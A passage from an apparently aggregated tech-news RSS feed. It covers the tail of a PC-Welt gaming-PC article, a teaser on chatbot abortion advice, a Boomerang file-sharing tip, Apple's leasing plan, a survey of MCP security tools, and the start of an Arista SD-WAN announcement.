<p>Um optische Massenspeicher kümmert sich der Blu-ray-Brenner <a href="https://web.archive.org/web/20120905095420if_/http://www.asus.de/Optical_Storage/Internal_Bluray_Drive/BW12B1ST/">Asus BW-12B1ST</a>. Das Multi-Norm-Laufwerk versteht sich aber auch auf alle gängigen CD- und DVD-Formate. Bei maximal 12-fachem Schreibtempo füllt das Asus-Modell einen einlagigen 25-GB-BR-Rohling in rund 11 Minuten. BD-REs beschreibt das SATA-Laufwerk mit 2-fachem Tempo, Blu-ray-Medien liest er mit 8-facher Geschwindigkeit. Im Lieferumfang des Asus BW-12B1ST ist Software für das Backup, Brennen und Abspielen von Blu-rays enthalten.</p>



<h2 class="wp-block-heading toc">Peripherie: Luxus-Eingabegeräte und 5.1-Raumklang</h2>



<p>Die <a href="https://logitech-de.a58n.net/c/230135/592382/9750?subid1=rss&amp;u=https://web.archive.org/web/20121027093942/http://www.logitech.com/de-de/mice-pointers/mice/5092">Logitech G9x Laser Mouse</a> kommt mit einem 4-Wege-Scrollrad und löst mit bis zu 5700 dpi auf. Die USB-Maus besitzt eine anpassbare Griffschale sowie ein bis auf 28 Gramm aufrüstbares Gewichtsmagazin. Der interne Speicher sichert bis zu fünf Profile für individuelle Tastatur-Makros und Abtastraten.</p>



<p>Das <a href="https://logitech-de.a58n.net/c/230135/592382/9750?subid1=rss&amp;u=https://web.archive.org/web/20121007015940/http://www.logitech.com/de-de/keyboards/keyboards/4956">Logitech G19 Gaming Keyboard</a> besitzt ein integriertes Farb-LCD, das in Echtzeit Spiele-Informationen wie die Server-IP-Adresse oder den Punktestand für über 35 Titel anzeigt. Die G19 erlaubt verschiedene Beleuchtungsfarben und hat 12 voll programmierbare G-Tasten sowie Sondertasten für den schnellen Multimedia-Zugriff. Das Logitech-Modell fungiert aber auch als aktiver 2-fach-USB-Hub und überrascht mit einer Kabelführung auf der Unterseite für Maus und Headset.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a60804a247c5"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Logitech-G19-Gaming-Keyboard.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Logitech G19 Gaming Keyboard" class="wp-image-3190427" width="1200" height="816" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Logitech</p></div>



<p>Das THX-zertifizierte Lautsprecherset <a href="https://logitech-de.a58n.net/c/230135/592382/9750?subid1=rss&amp;u=https://web.archive.org/web/20120927123116/http://www.logitech.com/de-de/speakers-audio/home-pc-speakers/speaker-system-Z906">Logitech Z906</a> bietet 5.1-Raumklang mit digitaler Dolby- und DTS-Decodierung. Bis zu sechs digitale und analoge Audioquellen lassen sich gleichzeitig an die Bedienkonsole anschließen. Alternativ bedienen Sie das 500-Watt-Lautsprechersystem kabellos über die Fernbedienung.</p>



<p>Wer nachts die Nachbarn nicht stören darf, greift zum <a href="https://logitech-de.a58n.net/c/230135/592382/9750?subid1=rss&amp;u=https://web.archive.org/web/20121014132143/http://www.logitech.com/de-de/gaming/headsets/7248">Logitech G930 Wireless Gaming Headset</a>. Das funkt digital mit 2,4 Gigahertz zehn Stunden lang über eine Reichweite von bis zu 12 Metern. Das Headset kommt mit drei programmierbaren Tasten, Geräuschunterdrückung und Kondensatormikrofon. Dank der Dolby-Technik Headphone und Pro Logic II kann das G930 sogar 7.1-Surround-Sound simulieren.</p>



<h2 class="wp-block-heading toc">Kreativ-, Spiele- und Office-Paket für 4000 Euro</h2>



<p>Auf der Höllenmaschine 4 vorinstalliert haben wir das 64-Bit-Betriebssystem <a href="https://web.archive.org/web/20121004014010/http://www.pcwelt.de/special/Windows-7-1001833.html">Windows 7 Ultimate</a>. Für das Microsoft-Betriebssystem haben wir uns auch wegen der DirectX-11-Unterstützung entschieden. Das laut Windows-Experte Hermann Apfelböck “beste Windows aller Zeiten” verwöhnt in der multilingualen Ultimate-Variante mit den exklusiven Funktionen Bitlocker-Verschlüsselung und dem nützlichen VHD-Boot.</p>



<p>Dazu gibt es drei fette Software-Pakete frei Haus. Das Highlight für Kreative ist die <a href="https://web.archive.org/web/20120701102134/http://success.adobe.com/de/de/sem/products/creativesuite/dwp.html">Adobe Creative Suite 6 Design &amp; Web Premium</a>. Die „Rundum glücklich“-Lösung für professionelle Bildbearbeitung, Layout und Website-Design integriert die Digital Publishing Suite und enthält folgende Programme und Werkzeuge: Acrobat X Pro, Bridge, Dreamweaver, Flash Builder, Flash Professional, Fireworks, Illustrator, InDesign, Media Encoder und Photoshop Extended.</p>



<p>Was zum Spielen spendiert Grafikspezialist Nvidia der Höllenmaschine 4. Das Gaming-Paket enthält die AAA-Titel Alan Wake Collector’s Edition, Batman: Arkham City, Battlefield 3, Borderlands, Call of Duty: Modern Warfare 3, Crysis 2, Diablo 3, Deus Ex: Human Revolution, Duke Nukem Forever, L.A. Noire, Mass Effect 3, Max Payne 3, Metro 2033, Rage, Skyrim, Starcraft II: Wings of Liberty, Star Wars. The Old Republik, The Witcher 2: Assassins of Kings.</p>



<p>Und wer die Höllenmaschine im Büroeinsatz unterfordern will, installiert <a href="https://web.archive.org/web/20101125155934/http://www.pcwelt.de/news/Jetzt-fuer-alle-Microsoft-Office-2010-ab-sofort-verfuegbar-988766.html">Microsoft Office Professional 2010</a>. Das Paket enthält die Programme Access, Excel, InfoPath, OneNote, Outlook, Powerpoint, Publisher, SharePoint, Word und Workspace.</p>



<p>Hinweis: Hier endet der Artikel über die Höllenmaschine 4 aus dem Jahre 2014.</p>



<h2 class="wp-block-heading toc">So gewinnen Sie die HMX 6</h2>



<p>Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern:</p>


<span class="cta_btn_heading cta_btn_heading_"></span><div class="cta wp-block wp-block-button cta__btn_"><a class="cta__btn" href="https://www.pcwelt.de/article/3179491/hmx-6-gewinnspiel.html" target="_blank" rel="nofollow" data-vars-link-position="CTA Button">Gewinnen Sie hier die HMX 6</a></div>


<h2 class="wp-block-heading toc">Wie Sie die HMX 6 verfolgen können</h2>



<p>In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf <a href="https://www.youtube.com/playlist?list=PLVC_WMwVwvSiOOgt6D9mN4Ud71M_uLFsS">YouTube</a>, <a href="https://www.instagram.com/pcwelt/">Instagram</a>, <a href="https://www.tiktok.com/@pcwelt.de">TikTok</a>, <a href="https://www.facebook.com/pcwelt/reels/">Facebook </a>und natürlich auf <a href="https://www.pcwelt.de/hmx" target="_blank" rel="noreferrer noopener">pcwelt.de</a>. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen <a href="https://www.pcwelt.de/newsletter-anmeldung" target="_blank" rel="noreferrer noopener">HMX-6-Newsletter abonnieren</a> – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.</p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chatbots und Schwangerschaftsabbrüche: Gut gemeint, schlecht informiert]]></title>
<description><![CDATA[Nach einem positiven Schwangerschaftstest gibt es oftmals viele Fragen.    –   Alle Rechte vorbehalten: IMAGO / BSIPChatbots wirken auch bei persönlichen Fragen oft wie eine neutrale Instanz. Unsere Recherche zeigt, wie sehr das bei einem Schwangerschaftsabbruch täuschen kann – besonders dann, we...]]></description>
<link>https://tsecurity.de/de/3685482/it-nachrichten/chatbots-und-schwangerschaftsabbrueche-gut-gemeint-schlecht-informiert/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685482/it-nachrichten/chatbots-und-schwangerschaftsabbrueche-gut-gemeint-schlecht-informiert/</guid>
<pubDate>Wed, 22 Jul 2026 09:06:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="2560" height="1442" src="https://cdn.netzpolitik.org/wp-upload/2026/07/schwangerschaftstest-scaled-e1784613397355.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="Positiver Schwangerschaftstest liegt auf einem Handtuch" decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/schwangerschaftstest-scaled-e1784613397355.jpg 2560w, https://cdn.netzpolitik.org/wp-upload/2026/07/schwangerschaftstest-scaled-e1784613397355-860x484.jpg 860w, https://cdn.netzpolitik.org/wp-upload/2026/07/schwangerschaftstest-scaled-e1784613397355-1198x675.jpg 1198w, https://cdn.netzpolitik.org/wp-upload/2026/07/schwangerschaftstest-scaled-e1784613397355-380x214.jpg 380w, https://cdn.netzpolitik.org/wp-upload/2026/07/schwangerschaftstest-scaled-e1784613397355-1536x865.jpg 1536w, https://cdn.netzpolitik.org/wp-upload/2026/07/schwangerschaftstest-scaled-e1784613397355-2048x1154.jpg 2048w" sizes="(max-width: 2560px) 100vw, 2560px"><figcaption class="wp-caption-text">Nach einem positiven Schwangerschaftstest gibt es oftmals viele Fragen.  <span class="media-license-caption">  –   Alle Rechte vorbehalten: IMAGO / BSIP</span></figcaption></figure>Chatbots wirken auch bei persönlichen Fragen oft wie eine neutrale Instanz. Unsere Recherche zeigt, wie sehr das bei einem Schwangerschaftsabbruch täuschen kann – besonders dann, wenn man ChatGPT um Rat fragt.]]></content:encoded>
</item>
<item>
<title><![CDATA[So teilen Sie große Dateien kostenlos und ohne Anmeldung per Cloud]]></title>
<description><![CDATA[Das Teilen großer Dateien und Datenmengen gelingt sehr einfach über Transferdienste in der Cloud. Mit Boomerang gibt es nun ein neues Angebot, hinter dem Start-up steht einer der Gründer des populären Webservice „WeTransfer“. Boomerang lässt sich gratis nutzen, dazu ist nicht einmal eine Anmeldun...]]></description>
<link>https://tsecurity.de/de/3685377/windows-tipps/so-teilen-sie-grosse-dateien-kostenlos-und-ohne-anmeldung-per-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685377/windows-tipps/so-teilen-sie-grosse-dateien-kostenlos-und-ohne-anmeldung-per-cloud/</guid>
<pubDate>Wed, 22 Jul 2026 08:07:22 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Das Teilen großer Dateien und Datenmengen gelingt sehr einfach über Transferdienste in der Cloud. Mit <a href="https://bmrng.me/" target="_blank" rel="noreferrer noopener">Boomerang</a> gibt es nun ein neues Angebot, hinter dem Start-up steht einer der Gründer des populären Webservice „WeTransfer“. Boomerang lässt sich gratis nutzen, dazu ist nicht einmal eine Anmeldung erforderlich. Ohne Konto steht über den Dienst bis zu einem Gigabyte Speicherplatz zum Verschicken und für sieben Tage zum Download zur Verfügung. </p>



<p><strong>So geht’s:</strong> Ziehen Sie bitte auf der Startseite eine oder mehrere Dateien in den Browser. Im folgenden Schritt können Sie über den „Add more“-Button weitere Daten zum Transfer hinzufügen. Mit „Upload Files“ starten Sie das Hochladen, anschließend sehen Sie alle wichtigen Informationen zum Teilen: Mit „Copy Link“ rechts oben kopieren Sie die Download-URL, die Sie dem Empfänger auf beliebigem Weg zuschicken. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a605e08ec0d0"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/05/Boomerang_RGBeci.jpg?quality=50&amp;strip=all&amp;w=932" alt="Boomerang " class="wp-image-3141149" width="932" height="1200" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Boomerang erlaubt das einfache Teilen von großen Datenpaketen. Der Clouddienst funktioniert ganz ohne Anmeldung, mit Anmeldung ist die Nutzung bis 3 GB kostenlos.</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p>Wenn Sie ein kostenloses Boomerang-Konto anlegen, können Sie „Spaces“ anlegen und maximal 3 GB große Dateien verschicken. In einem Space verwalten Sie Ihre Dateien, löschen Einträge oder fügen weitere Daten hinzu. Im Boomerang-Dashboard sehen und verwalten Sie die Spaces. </p>



<p>Oben benennen Sie sie um oder wählen zur Kennzeichnung ein Emoji. Option 3 ist das bezahlte Pro-Konto für knapp sieben Euro pro Monat: Es bietet zusätzliche Funktionen beim Datenschutz, 200 GB Speicherplatz, bis zu fünf GB große Dateien und die Bereitstellung der Download-Links bis zu 90 Tagen.</p>



<p><strong>Lesetipp:</strong> <a href="https://www.pcwelt.de/article/1092915/vertrauliche-daten-sicher-von-pc-zu-pc-schicken.html" target="_blank" rel="noreferrer noopener">Vertrauliche Daten sicher von PC zu PC schicken</a></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Reportedly Launching New Apple Upgrade Leasing Program on July 28]]></title>
<description><![CDATA[Apple plans to launch a new device leasing service called Apple Upgrade in the United States on July 28, according to a new report. The program will let customers pay lower monthly amounts for selected iPhone, iPad, Mac, and Apple Watch models.



Apple will reportedly work with Klarna to manage ...]]></description>
<link>https://tsecurity.de/de/3685308/ios-mac-os/apple-reportedly-launching-new-apple-upgrade-leasing-program-on-july-28/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685308/ios-mac-os/apple-reportedly-launching-new-apple-upgrade-leasing-program-on-july-28/</guid>
<pubDate>Wed, 22 Jul 2026 07:20:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple plans to launch a new device leasing service called Apple Upgrade in the United States on July 28, according to a new report. The program will let customers pay lower monthly amounts for selected iPhone, iPad, Mac, and Apple Watch models.



Apple will reportedly work with Klarna to manage the Apple Upgrade program, while customers will need to complete a soft credit check before joining. The service will work like a hardware subscription, giving buyers more flexibility than a standard installment plan.



How Apple Upgrade Will Work



The reported lease period will run for 24 months on eligible iPhone and Apple Watch models, while Mac leases will continue for 36 months. Customers will have the option to pay off the device early, upgrade before the lease ends, keep the product after completing payments, or return it when the term finishes.



Some actions could include extra fees, depending on when the customer upgrades, pays off the device, or decides to keep it. AppleCare coverage will not come with the lease, so customers will need to purchase protection separately.



The program will also exclude several products, including the Apple Watch SE, base iPad, iPhone 16, and MacBook Neo. Apple will reportedly stop accepting new signups for the existing iPhone Upgrade Program after launching Apple Upgrade.



Apple raised prices for several iPad and Mac models last month, while upcoming iPhone models are also expected to cost more. The Apple Upgrade leasing program will give customers another way to spread hardware costs across longer payment periods.]]></content:encoded>
</item>
<item>
<title><![CDATA[Tools, um MCP-Server abzusichern]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Unabhängig davon, welche MCP-Server Unternehmen wofür einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.Gorodenkoff | shutterstock.com



Model Context Protocol (MCP) verbindet KI-Agenten mit Datenquellen und erfre...]]></description>
<link>https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/</guid>
<pubDate>Wed, 22 Jul 2026 06:10:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Unabhängig davon, welche MCP-Server Unternehmen wofür einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.</figcaption></figure><p class="imageCredit">Gorodenkoff | shutterstock.com</p></div>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.computerwoche.de/article/4031227/was-ist-model-context-protocol.html" target="_blank">MCP</a>) verbindet KI-Agenten mit Datenquellen und erfreut sich im Unternehmensumfeld wachsender Beliebtheit. Allerdings ist auch MCP nicht frei von Sicherheitslücken, wie entsprechende Entdeckungen, etwa beim SaaS-Anbieter <a href="https://www.upguard.com/blog/asana-discloses-data-exposure-bug-in-mcp-server" target="_blank" rel="noreferrer noopener">Asana</a> oder dem IT-Riesen <a href="https://www.catonetworks.com/blog/cato-ctrl-poc-attack-targeting-atlassians-mcp/" target="_blank" rel="noreferrer noopener">Atlassian</a> gezeigt haben. Inzwischen hat sich jedoch einiges in Sachen MCP-Sicherheit getan. Einerseits wurden mit Blick auf das Kernprotokoll etliche Fortschritte erzielt. Beispielsweise in Form von Support für OAuth sowie für Authentifizierungs-Server von Drittanbietern und Identity-Management-Systeme. Darüber hinaus wurde inzwischen auch eine <a href="https://modelcontextprotocol.info/tools/registry/" target="_blank" rel="noreferrer noopener">offizielle MCP Registry</a> geschaffen, die einen Überblick über sichere, öffentlich verfügbare MCP-Server bietet.</p>



<p class="wp-block-paragraph">Dennoch bestehen weiterhin Sicherheitslücken, die sich für diverse Cyberschandtaten ausnutzen lassen – <a href="https://www.computerwoche.de/article/4044551/wenn-der-ki-agent-im-fakeshop-kauft.html" target="_blank">Prompt Injection</a>, Tool Poisoning, Token-Diebstahl, Server-übergreifende Attacken oder manipulierte Messages sind nur einige von vielen Beispielen. Mit anderen Worten: Unternehmen, die sich beim <a href="https://www.computerwoche.de/article/4049237/3-tipps-um-agentic-ai-systeme-in-der-cloud-zu-entwickeln.html" target="_blank">Aufbau von Agentic-AI-Systemen</a> einen Wettbewerbsvorteil verschaffen wollen, müssen erhebliche Anstrengungen unternehmen, um zu gewährleisten, dass sensible Daten nicht nach außen dringen. Glücklicherweise gibt es diverse Tools, die dabei Unterstützung versprechen.</p>



<p class="wp-block-paragraph">In diesem Artikel lesen Sie:</p>



<ul class="wp-block-list">
<li>was Security-Tools für MCP leisten sollten, und</li>



<li>welche Angebote in diesem Bereich interessant sind.</li>
</ul>



<h2 class="wp-block-heading">Das sollten MCP-Sicherheitslösungen können</h2>



<p class="wp-block-paragraph">Die Gefahr von Datenlecks, Prompt Injections und weiteren Sicherheitsbedrohungen besteht unabhängig davon, ob Unternehmen:</p>



<ul class="wp-block-list">
<li>ihre eigenen KI-Agenten mit MCP-Servern von Drittanbietern,</li>



<li>ihre eigenen MCP-Server mit Drittanbieter-Agenten, oder</li>



<li>ihre eigenen Server mit den eigenen Agenten verbinden.</li>
</ul>



<p class="wp-block-paragraph">Soll heißen: Unternehmen müssen in jedem Fall Autorisierungen und Berechtigungen überprüfen, detaillierte Zugriffskontrollen implementieren und alles protokollieren. Daraus ergeben sich auch die Anforderungen für MCP-Sicherheitslösungen. Diese sollten bieten:</p>



<ul class="wp-block-list">
<li><strong>MCP-Servererkennung.</strong> Für Mitarbeiter eines Unternehmens ist es einfach, MCP-Server herunterzuladen und zu nutzen. Mit Scan-Services für MCP-Server können Unternehmen sämtliche Instanzen von Schatten-MCP-Servern in ihrer Umgebung finden.</li>



<li><strong>Laufzeitschutz.</strong> KI-Agenten kommunizieren mit MCP-Servern in natürlicher Sprache. MCP-Sicherheits-Tools sollten deshalb in der Lage sein, diese Kommunikation auf Sicherheitsprobleme wie Prompt Injections hin zu überwachen.</li>



<li><strong>Authentifizierungs- und Zugriffskontrollen.</strong> Das MCP-Protokoll unterstützt inzwischen OAuth, aber das ist nur ein erster Schritt. Für zusätzliche Sicherheit empfehlen sich Tools mit integrierten Kontroll-Frameworks für Zero Trust und Least Privilege.</li>



<li><strong>Logging und Observability.</strong> Tools und Plattformen sollten zudem die Möglichkeit bieten, MCP-Protokolle zu sammeln, Sicherheitsteams über Richtlinienverstöße zu informieren, Compliance-Daten zu erfassen oder Protokolle in die bestehende Sicherheitsinfrastruktur einzuspeisen.</li>
</ul>



<h2 class="wp-block-heading">MCP-Security-Angebote</h2>



<p class="wp-block-paragraph">Im Folgenden haben wir die Anbieter von MCP-Security-Tools in drei Kategorien aufgeteilt. Diese Aufstellung erhebt keinen Anspruch auf Vollständigkeit.</p>



<p class="wp-block-paragraph"><strong>Hyperscaler</strong></p>



<p class="wp-block-paragraph">Für Unternehmen, die sich vollständig auf eine bestimmte Cloud-Plattform verlassen, bieten die MCP-Tools des jeweiligen Hyperscalers einen einfachen Einstieg.</p>



<ul class="wp-block-list">
<li><strong>Amazon Web Services (AWS)</strong> hat Mitte 2025 seine eigene agentenbasierte KI-Plattform eingeführt. <a href="https://aws.amazon.com/de/bedrock/agentcore/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore</a> umfasst ein Gateway, das mehrere Protokolle unterstützt (darunter auch MCP), ein Identity-Management-System sowie Observability.</li>



<li><strong>Microsoft</strong> bietet einen grundlegenden <a href="https://learn.microsoft.com/de-de/azure/developer/azure-mcp-server/overview" target="_blank" rel="noreferrer noopener">Azure-MCP-Server</a> an, inklusive Support für Azure Key Vault. Darüber hinaus unterstützen auch Azure AI Foundry Agent Service und Azure API Management das Model Context Protocol. Zudem bietet Microsoft mit dem <a href="https://learn.microsoft.com/de-de/agent-framework/overview/agent-framework-overview" target="_blank" rel="noreferrer noopener">Agent Framework</a> auch ein Open-Source-Entwicklungskit, das sowohl MCP als auch Agent2Agent unterstützt und beispielsweise Schutz vor Prompt Injections verspricht.</li>



<li><strong>Google Cloud</strong> kündigte Anfang 2025 seine <a href="https://cloud.google.com/blog/products/ai-machine-learning/mcp-toolbox-for-databases-now-supports-model-context-protocol?hl=en" target="_blank" rel="noreferrer noopener">MCP Toolbox für Datenbanken</a> an – inklusive integrierter Authentifizierung und Observability. Außerdem hat der Hyperscaler auch <a href="https://cloud.google.com/blog/products/identity-security/how-to-secure-your-remote-mcp-server-on-google-cloud?hl=en" target="_blank" rel="noreferrer noopener">eine Referenzarchitektur</a> veröffentlicht, um MCP-Server auf seiner Cloud-Plattform abzusichern.</li>
</ul>



<p class="wp-block-paragraph"><strong>Große Plattformanbieter</strong></p>



<ul class="wp-block-list">
<li>Der IT-Dienstleister <strong>Cloudflare</strong> hat mit <a href="https://blog.cloudflare.com/zero-trust-mcp-server-portals/" target="_blank" rel="noreferrer noopener">MCP Server Portals</a> ein Tool veröffentlicht, mit dem Unternehmen MCP-Verbindungen zentralisiert absichern und überwachen können. Die Funktion ist Bestandteil der Cloudflare-One-Plattform.</li>



<li><strong>Palo Alto Networks</strong> hat mit Blick auf MCP-Sicherheit mehrere Eisen im Feuer. Mit <a href="https://www.paloaltonetworks.com/blog/2025/06/securing-ai-agent-innovation-prisma-airs-mcp-server/" target="_blank" rel="noreferrer noopener">Prisma AIRS</a> hat das Unternehmen einen eigenen, intermediären MCP-Server veröffentlicht. Dieser sitzt zwischen den KI-Agenten und dem eigentlichen MCP-Server und erkennt schadhafte Inhalte und Daten. Das Tool <a href="https://www.paloaltonetworks.com/blog/2025/06/cloud-security-model-context-protocol-mcp-security/" target="_blank" rel="noreferrer noopener">MCP Security</a> ist hingegen Bestandteil von Cortex Cloud WAAS und überprüft die MCP-Kommunikation an der Netzwerkgrenze auf bösartige Aktivitäten.</li>



<li><strong>SentinelOne</strong> gewährt mit seiner <a href="https://www.sentinelone.com/blog/avoiding-mcp-mania-how-to-secure-the-next-frontier-of-ai/" target="_blank" rel="noreferrer noopener">Singularity Platform</a> ebenfalls Einblick in die MCP-Interaktionskette und bietet zum Beispiel Warnmeldungen und automatisierte Incident Response für MCP-Server auf lokaler oder Remote-Ebene.</li>



<li>Die <a href="https://acuvity.ai/" target="_blank" rel="noreferrer noopener">Plattform</a> von <strong>Acuvity</strong> (seit Februar 2026 Teil von <strong>Proofpoint</strong>) verspricht, MCP-Server umfassend abzusichern. Dafür sorgt laut dem Anbieter eine Kombination aus Least-Privilege-Execution, unveränderlichen Laufzeiten, kontinuierlichen Schwachstellenscans, Authentifizierung und Bedrohungserkennung.</li>



<li>Daneben hat auch <strong>Broadcom</strong> MCP-Sicherheitsfunktionen für VMware Cloud Foundation <a href="https://www.broadcom.com/company/news/product-releases/63401" target="_blank" rel="noreferrer noopener">angekündigt</a>, die künftig mehr Sicherheit für agentenbasierte Workflows gewährleisten sollen.</li>
</ul>



<p class="wp-block-paragraph"><strong>Startups</strong></p>



<ul class="wp-block-list">
<li>Das API-Security-Startup <strong>Akto</strong> hat eine <a href="https://www.akto.io/mcp-security" target="_blank" rel="noreferrer noopener">MCP-Security-Plattform</a> im Angebot. Sie umfasst ein Discovery Tool, um MCP-Server in Unternehmensumgebungen zu identifizieren, Security-Testing-Werkzeuge sowie Monitoring- und Threat-Detection-Funktionen.</li>



<li><strong>Invariant Labs</strong> bietet mit <a href="https://github.com/invariantlabs-ai/mcp-scan" target="_blank" rel="noreferrer noopener">MCP-Scan</a> ein quelloffenes Tool, das die statische Analyse und Echtzeitüberwachung von MCP-Servern ermöglicht. Mit <a href="https://invariantlabs.ai/blog/guardrails" target="_blank" rel="noreferrer noopener">Guardrails</a> hat das Startup auch ein kommerzielles Produkt im Angebot. Dabei handelt es sich um einen Proxy. Der zwischen KI-Agenten und MCP-Servern sitzt und vor Security-Risiken schützen soll. Das Tool befähigt Anwender außerdem dazu, Richtlinien aufzusetzen.</li>



<li><strong>Highflame </strong>(vormals Javelin) <a href="https://www.highflame.com/" target="_blank" rel="noreferrer noopener">addressiert</a> ebenfalls das Thema MCP-Sicherheit. Etwa mit Funktionen wie MCP-Server auf Risiken zu scannen oder Datenanfragen zu überprüfen.  </li>



<li><strong>Lasso Security</strong> stellt ein Open-Source-<a href="https://github.com/lasso-security/mcp-gateway" target="_blank" rel="noreferrer noopener">MCP-Gateway</a> zur Verfügung, das die Konfiguration und das Lebenszyklusmanagement von MCP-Servern ermöglicht und Messages um sensible Informationen bereinigt.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.csoonline.com/article/4087656/what-cisos-need-to-know-about-new-tools-for-securing-mcp-servers.html" target="_blank">im Original</a> bei unser Schwesterpublikation CSOonline.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Arista debuts unified SD-WAN edge platform]]></title>
<description><![CDATA[Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.



The company announced AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, a platfor...]]></description>
<link>https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</guid>
<pubDate>Wed, 22 Jul 2026 05:40:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.</p>



<p class="wp-block-paragraph">The company announced AI-driven <a href="https://edge.arista.com/edge-threat-management/">Edge Threat Management</a> (ETM) for VeloCloud SD-WAN, a platform that links typically separate products and capabilities including Arista’s next-generation firewall, IP reputation, external blocklists, intrusion prevention, URL filtering, application classification, geo-IP filtering, network address translation, deep packet inspection, and zone-based segmentation. </p>



